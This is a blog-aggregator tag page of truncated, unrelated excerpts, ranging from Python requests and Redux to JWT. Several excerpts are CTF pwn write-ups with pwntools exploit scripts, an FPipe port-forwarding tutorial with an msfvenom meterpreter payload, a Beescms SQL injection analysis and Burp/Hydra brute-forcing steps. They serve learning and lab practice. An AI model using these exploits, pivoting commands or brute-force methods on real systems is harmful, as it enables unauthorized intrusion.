payload

Python使用POST发送HTTP请求出现Failed to decode JSON object: Expecting value: 错误

别说谁变了你拦得住时间么 提交于 2019-11-30 17:27:56
import requests url = 'http://***.***.***.***:****/ppp' headers = {'Content-Type': 'application/json'} # headers = {'Content-Type': 'text/plain'} postdata = { "start_time": 1536758128, "end_time": 1536761728 } result = requests.post(url=url, data=postdata, headers=headers) print(result.text) 此时需要将postdata转换为json格式,解决方法有两个。 方法一: >>> import json >>> url = 'https://api.github.com/some/endpoint' >>> payload = {'some': 'data'} >>> r = requests.post(url, data=json.dumps(payload) ) 方法二: >>> url = 'https://api.github.com/some/endpoint' >>> payload = {'some': 'data'} >>> r = requests.post(url, json

CSAW Quals CTF 2017-scv

两盒软妹~` 提交于 2019-11-30 16:19:36
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。 exp脚本 #!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) pop_rdi = 0x400ea3 #pop rdi;ret puts_plt = 0x4008d0 #puts函数plt表地址 read_got = 0x602030 #read函数got表地址 start = 0x4009a0 #start函数首地址 io.sendline('1') io.send('A'*164+'ABCDE')

Getting Exception when trying to upload a big files size

笑着哭i 提交于 2019-11-30 16:08:36
I'm using wshttpbinding for my service <wsHttpBinding> <binding name="wsHttpBinding_Windows" maxBufferPoolSize="9223372036854775807" maxReceivedMessageSize="2147483647"> <readerQuotas maxArrayLength="2147483647" maxBytesPerRead="2147483647" maxStringContentLength="2147483647" maxNameTableCharCount="2147483647"/> <security mode="Message"> <message clientCredentialType="Windows"/> </security> </binding> </wsHttpBinding> <behavior name="ServiceBehavior"> <dataContractSerializer maxItemsInObjectGraph="6553600"/> <serviceThrottling maxConcurrentCalls="2147483647" maxConcurrentInstances="2147483647"

FPipe端口转发

半腔热情 提交于 2019-11-30 14:54:57
目录 0x01 FPipe介绍 0x02 端口转发 0x03 msf正向上线 注: 边界机器 win08 192.168.222.175 内网机器 win7 192.168.222.137 msf机器 Ubuntu 192.168.222.177 0x01 FPipe介绍 FPipe即forward pipe,在两个端口中间建立一个管道,来实现流量的转发,一般用于内网机器不能正常上网的情况,而且不需要考虑免杀,但是必须要有边界机器,它不仅支持TCP流量的转发,还支持UDP的。 0x02 端口转发 将来自外部53端口的流量,通过本地的53端口转发到内网的3389端口 fpipe.exe -l 53 -i 0.0.0.0 -s 53 -r 3389 192.168.222.137 然后回到本地来远程连接就可以了 0x03 msf正向上线 这里我们使用bind型的payload,保证让无法正常上网的内网主机也能正常反弹shell 正常生成一个马 msfvenom -p windows/x64/meterpreter/bind_tcp lport=53 -f exe >> 123.exe 之后去边界机器执行转发 fpipe.exe -l 53 -i 0.0.0.0 -s 53 -r 53 192.168.222.137 在内网机器上运行我们的马 回到Ubuntu上进行监听 use

day-6

有些话、适合烂在心里 提交于 2019-11-30 13:39:21
xctf-hello_pwn 题目传送门: https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052 又是一个溢出,和昨天的有异曲同工之处: 差4个字节,溢出改变dword_60106C的值为nuaa(注意:这里为小端存储,要写为'aaun') exp: from pwn import * #cnn = process('./hello_pwn') cnn = remote('111.198.29.45',32280) payload = 'a'*4+'aaun' cnn.recvuntil('bof') cnn.send(payload) print(cnn.recv()) cnn.interactive() exp 总结:注意小端 ~~~~~~注意小端 ~~~~~注意小端~~~~~ xctf-level0 题目传送门: https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053 拖进ida后,F5查看,发现就是输出Hello world,然后执行函数vulnerable_function(),跟进: 找到一个read,buf长度为80。长度超出80以后,会实现地址随便跳转。 汇编查看一下。可以发现

Redux知识

两盒软妹~` 提交于 2019-11-30 13:24:13
1.什么时候需要Redux “只要遇到React实在解决不了的问题,才需要使用Rduex” ◾ 用户的使用方式非常简单◾ 用户之间没有协作◾ 不需要与服务器大量交互,也没有使用 WebSocket◾ 视图层(View)只从单一来源获取数据 Redux 的适用场景:多交互、多数据源。 ◾ 用户的使用方式复杂 ◾ 不同身份的用户有不同的使用方式(比如普通用户和管理员) ◾ 多个用户之间可以协作 ◾ 与服务器大量交互,或者使用了WebSocket ◾ View要从多个来源获取数据 从组件的角度看 ◾ 某个组件的状态,需要共享 ◾ 某个状态需要在任何地方都可以拿到 ◾ 一个组件需要改变全局状态 ◾ 一个组件需要改变另一个组件的状态 2.Redux的设计思想 (1)Web 应用是一个状态机,视图与状态是一一对应的。 (2)所有的状态,保存在一个对象里面。 3.1 Store    store:就是保存数据的地方,你可以把它看成一个容器,整个应用只能有一个Store   Redux提供了一个createStore这个函数,用来生成Store。 import {createStore} from 'redux' //redux是对象暴露 var store=createStore()    上面的代码中,createStore函数接收另一个函数作为参数,返回新生成的Store对象。 3.2

day-5

穿精又带淫゛_ 提交于 2019-11-30 12:34:51
xctf-when_did_you_born 题目传送门: https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051 checksec文件: 没啥,ida打开: 第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。 在最上面定义可以看到,相对偏移为8。 构造exp: from pwn import * #cnn = process('./when_did_you_born') cnn = remote('111.198.29.45',33487) payload = 'a'*8+p64(1926) cnn.recvuntil('Your Birth?') cnn.sendline('1926') cnn.sendline(payload) cnn.interactive()    运行一下,可以得到flag: 总结:唔。。。这是昨天的升级版。 额外小知识: # Pwntools环境预设 from pwn import * context.arch = "amd64/i386" #指定系统架构 context.terminal = ["tmux,"splitw","-h"]

Beescms_v4.0 sql注入漏洞分析

那年仲夏 提交于 2019-11-30 12:15:13
Beescms_v4.0 sql注入漏洞分析 一、漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入。 二、漏洞环境搭建 1、官方下载Beescms v4.0,下载地址: http://beescms.com/cxxz.html 2、解压压缩文件,然后把文件放到phpstudy的网站根目录 3、浏览器访问http://192.168.10.171/beescms/install,开始安装    4、一直下一步,出现如下界面,输入数据库账户密码    5、成功安装    6、修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。    三、漏洞影响版本 Beescms v4.0 四、漏洞复现 1、浏览器访问后台页面http://192.168.10.171/beescms/admin/    2、任意输入用户名和密码,看到提示“不存在该管理用户”,可以枚举用户名,然后根据枚举出来的用户名爆破密码       3、burpsuit枚举用户名, 可以看到该验证码存在设计缺陷漏洞,一次验证后在不刷新的情况下可以多次提交请求,最终导致攻击者可以进行模糊测试(暴力枚举)。    4、根据枚举出来的用户名,然后枚举密码

9.25 使用BP爆破WEB服务器

不打扰是莪最后的温柔 提交于 2019-11-30 12:12:31
使用 BP 和 Hydra 爆破相关的服务 Htdra :九头蛇 是开源的、功能强大的爆破工具,支持的服务很多,使用 hudra 爆破 C/S 架构的服务 使用 BS 爆破 WEB 登录窗口 DVWA : web 应用程序漏洞演练平台,开源,基础呢个常见的 web 漏洞,使用 PHP+MUSQL 的支持。 爆破 = 爆破工具( BP/hydra ) + 字典(用户字典 / 密码字典) 字典:家就是一些用户名或者口令(弱口令 / 使用社工软件生成)的集合 BS 爆破登录页面(爆破密码,已知帐号) Step1 : 拦截数据包,登录界面的数据需要拦截下来,将兰街道的数据发送到 “ intruder ”模块( ctrl+i )。 Step2 : 进入 intruder 的 positions 模块,先点击 clear 清除不需要爆破的项目,再从新选择需要爆破的项 password (选中需要爆破的值之后 add ),意味着要爆破 password ,在爆破过程中使用字典去替换该密码。 Step3 : 进入 “ payloads ”模块,在 ”payloads options [simple list]”中点击”load”添加密码字典, Step4 : 在”options”模块中,可以设置爆破时的一些规则,如:线程、匹配规则、排除规则。 Step5 : 在 “ payload ”中点击“

JSON Web Token

大憨熊 提交于 2019-11-30 12:02:54
JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理和用法。 一、跨域认证的问题 互联网服务离不开用户认证。一般流程是下面这样。 1、用户向服务器发送用户名和密码。 2、服务器验证通过后,在当前对话(session)里面保存相关数据,比如用户角色、登录时间等等。 3、服务器向用户返回一个 session_id,写入用户的 Cookie。 4、用户随后的每一次请求,都会通过 Cookie,将 session_id 传回服务器。 5、服务器收到 session_id,找到前期保存的数据,由此得知用户的身份。 这种模式的问题在于,扩展性(scaling)不好。单机当然没有问题,如果是服务器集群,或者是跨域的服务导向架构,就要求 session 数据共享,每台服务器都能够读取 session。 举例来说,A 网站和 B 网站是同一家公司的关联服务。现在要求,用户只要在其中一个网站登录,再访问另一个网站就会自动登录,请问怎么实现? 一种解决方案是 session 数据持久化,写入数据库或别的持久层。各种服务收到请求后,都向持久层请求数据。这种方案的优点是架构清晰,缺点是工程量比较大。另外,持久层万一挂了,就会单点失败。 另一种方案是服务器索性不保存 session 数据了,所有数据都保存在客户端,每次请求都发回服务器。JWT 就是这种方案的一个代表。